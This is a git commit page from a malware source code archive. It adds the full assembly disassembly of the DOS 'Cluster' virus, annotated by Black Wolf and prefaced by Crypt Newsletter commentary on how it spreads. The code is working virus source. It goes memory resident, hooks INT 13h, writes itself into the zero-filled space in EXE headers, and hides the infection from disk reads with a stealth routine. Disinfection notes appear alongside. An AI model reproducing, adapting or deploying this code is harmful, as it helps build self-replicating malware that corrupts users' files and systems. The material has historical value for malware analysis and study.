mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
vxunderground
@@ -0,0 +1,259 @@
|
||||
;The Cluster virus is an interesting experiment which works, almost.
|
||||
;It it what has come to be known as an 'intended' virus, although a
|
||||
;a very slickly done one.
|
||||
;Credited to the TridenT virus programming group, Cluster uses some of
|
||||
;the ideas of the Bulgarian virus known as The Rat. The Rat was deemed
|
||||
;tricky because it looked for "00" empty space below the header in
|
||||
;an EXEfile - if it found enough room for itself, it wrote itself out
|
||||
;to the empty space or "air" in the file. This hid the virus in the
|
||||
;file, but added no change in file size. This is a nice theme - one
|
||||
;made famous by the ZeroHunt virus which first did the same with
|
||||
;.COMfiles. In both cases, the viruses had to be picky about the
|
||||
;files they infected, limiting their spread.
|
||||
;
|
||||
;Cluster is similar to The Rat. It will attempt to copy itself into
|
||||
;the "air" in an EXEfile just below the file header, if there is
|
||||
;enough room. The most common candidates for infection are standard
|
||||
;MS/PC-DOS utility programs, like FIND or FC, among others.
|
||||
;
|
||||
;As is Cluster will go resident from the "germ" supplied with the
|
||||
;newsletter. On copy, if the candidate .EXEfile has enough "00"
|
||||
;air, Cluster will infect it. In other words, any .EXEfile
|
||||
;written to will be inspected by Cluster.
|
||||
;
|
||||
;Because Cluster installs its own INT 13 disk hander, it then can
|
||||
;intercept all attempts to open infected files for a quick look.
|
||||
;For example, looking at a hex dump of a Cluster-infected .EXE,
|
||||
;with Vern Berg's LIST, will show the files clean. Now, boot
|
||||
;the system clean and look again. You'll see Cluster in the file's
|
||||
;"00" space - look for the funny "Zugu" signature.
|
||||
;
|
||||
;However, almost all files infected by Cluster under DOS 5.0 and 6.0
|
||||
;are mishandled in such way that they cannot execute properly except
|
||||
;when the virus is not resident. Normally, what happens is Cluster
|
||||
;will go resident and the system will hang. And this is what is
|
||||
;meant by an 'intended' virus - Cluster is very infectious, but only
|
||||
;infectious on a machine which is contaminated with the "germ" file
|
||||
;supplied by TridenT. Although Cluster may behave better on other
|
||||
;platforms, it's not viable on most of the systems rolling out
|
||||
;of shops today.
|
||||
;
|
||||
;Additional notes and disassembly are all Black Wolf's. --Urnst Kouch
|
||||
;Crypt Newsletter 17.
|
||||
;-------------------------------------------------------------------
|
||||
;This virus goes memory resident at the top of lower memory and hooks
|
||||
;Int 13h. Whenever an EXE file header is written, it checks to see
|
||||
;if there is a large field of 0's inside it (VERY common in EXE's)
|
||||
;and, if so, will put itself inside it and change the exe marker bytes
|
||||
;'MZ' to a jump to that code. In this way, it effectively converts the
|
||||
;file to a COM file when it is run. After this it re-executes the EXE
|
||||
;file. Because of a stealth handler on Int 13h function 2 (absolute
|
||||
;disk read) the EXE file is read as it originally was (the handler
|
||||
;zero's out the field in which it resides and restores the jump to
|
||||
;'MZ'). Because of the way this virus works, it can only infect
|
||||
;smaller EXE files.
|
||||
;
|
||||
;
|
||||
;NOTE:
|
||||
;Several commands are commented out and have the actual bytes entered
|
||||
;next to them instead. This is because the compiler that Clust was
|
||||
;originally compiled on used different translations than mine, and
|
||||
;I wished to preserve the EXACT virus code.
|
||||
|
||||
;Disinfection: Because of this virus' stealth routine, disinfection should
|
||||
; be possible simply by Zipping or Arjing all EXE files on an
|
||||
; infected disk, then rebooting from a clean disk and unarchiving
|
||||
; the files. The original archiving MUST be done while the
|
||||
; virus is active in memory. Also - after rebooting - make
|
||||
; sure the program you use to unarchive the files is _NOT_
|
||||
; infected.
|
||||
|
||||
;Disassembly by Black Wolf
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
start:
|
||||
jmp short EntryPoint
|
||||
|
||||
LotsaNOPs db 122 dup (90h) ;Usually will be EXE header....
|
||||
|
||||
OldInt13 dd 0
|
||||
|
||||
EntryPoint:
|
||||
db 0e9h,7ch,0 ;jmp InstallVirus
|
||||
|
||||
Int13Handler:
|
||||
cmp ah,3
|
||||
je IsDiskWrite
|
||||
|
||||
cmp ah,2
|
||||
jne GoInt13
|
||||
|
||||
pushf
|
||||
call cs:OldInt13 ;Call Int 13h
|
||||
|
||||
jc Exit13Handler ;Exit on error.
|
||||
|
||||
cmp word ptr es:[bx],7EEBh ;Is sector infected?
|
||||
jne Exit13Handler
|
||||
|
||||
mov word ptr es:[bx],5A4Dh ;Cover mark with 'MZ'
|
||||
|
||||
push di cx ax ;Stealth routine.....
|
||||
mov cx,115h
|
||||
xor ax,ax
|
||||
db 89h,0dfh ;mov di,bx
|
||||
|
||||
;Zero out virus from
|
||||
add di,80h ;sector when it is read.
|
||||
rep stosb
|
||||
pop ax cx di
|
||||
|
||||
Exit13Handler:
|
||||
iret
|
||||
GoInt13:
|
||||
jmp cs:[OldInt13]
|
||||
IsDiskWrite:
|
||||
cmp word ptr es:[bx],5A4Dh ;Is EXE file being written?
|
||||
jne GoInt13
|
||||
|
||||
cmp word ptr es:[bx+4],75h ;Is file too large?
|
||||
jae GoInt13
|
||||
|
||||
push ax cx si di ds
|
||||
push es
|
||||
pop ds
|
||||
db 89h,0deh ;mov si,bx
|
||||
|
||||
add si,80h ;Look in EXE header....
|
||||
mov cx,115h
|
||||
AllZeros:
|
||||
lodsb
|
||||
cmp al,0
|
||||
loopz AllZeros
|
||||
|
||||
cmp cx,0 ;Check to see if entire field
|
||||
jne ExitInfectHandler ;was zeroed - leave if not.
|
||||
|
||||
|
||||
db 89h,0dfh ;mov di,bx
|
||||
add di,80h
|
||||
mov cx,115h
|
||||
mov si,offset OldInt13
|
||||
push cs
|
||||
pop ds
|
||||
rep movsb
|
||||
|
||||
db 89h,0dfh ;mov di,bx
|
||||
|
||||
;Copy virus
|
||||
;over zero area in EXE header.
|
||||
mov ax,7EEBh ;Stick in Jump over 'MZ'
|
||||
stosw
|
||||
|
||||
ExitInfectHandler:
|
||||
pop ds di si cx ax ;Allow Write to process now.
|
||||
jmp short GoInt13
|
||||
|
||||
InstallVirus:
|
||||
mov ax,3513h
|
||||
int 21h ;Get Int 13 addres
|
||||
mov word ptr cs:[OldInt13],bx
|
||||
mov word ptr cs:[OldInt13+2],es
|
||||
|
||||
mov ah,0Dh
|
||||
int 21h ;Flush disk buffers
|
||||
|
||||
mov ah,36h
|
||||
mov dl,0
|
||||
int 21h ;Get free space on default drive
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:0,'Z' ;Are we the last chain?
|
||||
jne Terminate ;If not, terminate.
|
||||
|
||||
;sub word ptr ds:[3],39h ;subtract from MCB size
|
||||
db 81h,2eh,03,0,39h,0
|
||||
|
||||
;sub word ptr ds:[12h],39h ;subtract from PSP TopOfMem
|
||||
db 81h,2eh,12h,0,39h,0
|
||||
|
||||
mov si,offset OldInt13
|
||||
|
||||
db 89h,0f7h ;mov di,si
|
||||
|
||||
mov es,ds:[12h] ;ES = new segment
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,115h ;Copy virus into memory
|
||||
rep movsb
|
||||
|
||||
mov ax,2513h
|
||||
push es
|
||||
pop ds
|
||||
mov dx,offset Int13Handler
|
||||
int 21h ;Set int 13 to virus handler
|
||||
|
||||
mov ah,4Ah
|
||||
push cs
|
||||
pop es
|
||||
mov bx,39h
|
||||
int 21h ;Modify mem alloc.
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov bx,ds:[2ch] ;Get environment segment
|
||||
mov es,bx
|
||||
xor ax,ax
|
||||
mov di,1
|
||||
|
||||
ScanForFilename: ;Find name of file executed
|
||||
dec di ;in environment strings...
|
||||
scasw ;(located after two 0's)
|
||||
jnz ScanForFilename
|
||||
|
||||
lea si,[di+2]
|
||||
push bx
|
||||
pop ds ;DS = environment segment
|
||||
|
||||
push cs
|
||||
pop es ;ES = code segment
|
||||
|
||||
mov di,offset Filename
|
||||
push di
|
||||
xor bx,bx
|
||||
|
||||
CopyFilename:
|
||||
mov cx,50h
|
||||
inc bx
|
||||
lodsb
|
||||
cmp al,0
|
||||
jne StoreFilename ;Change zero at end of
|
||||
mov al,0Dh ;filename to a return
|
||||
|
||||
StoreFilename:
|
||||
stosb
|
||||
cmp al,0Dh ;If it was a return, we're
|
||||
loopnz CopyFilename ;done copying the filename
|
||||
|
||||
mov byte ptr ds:[28fh],bl
|
||||
push cs
|
||||
pop ds
|
||||
pop si
|
||||
dec si
|
||||
int 2Eh ;Re-execute EXE file with
|
||||
;Stealth handler in memory,
|
||||
;so Exe is run w/o virus.
|
||||
;here we go, infected program
|
||||
Terminate: ;only executes properly when
|
||||
mov ah,4Ch ;Cluster is resident.
|
||||
int 21h
|
||||
|
||||
db 0
|
||||
Filename db 1
|
||||
|
||||
end start
|
||||
Reference in New Issue
Block a user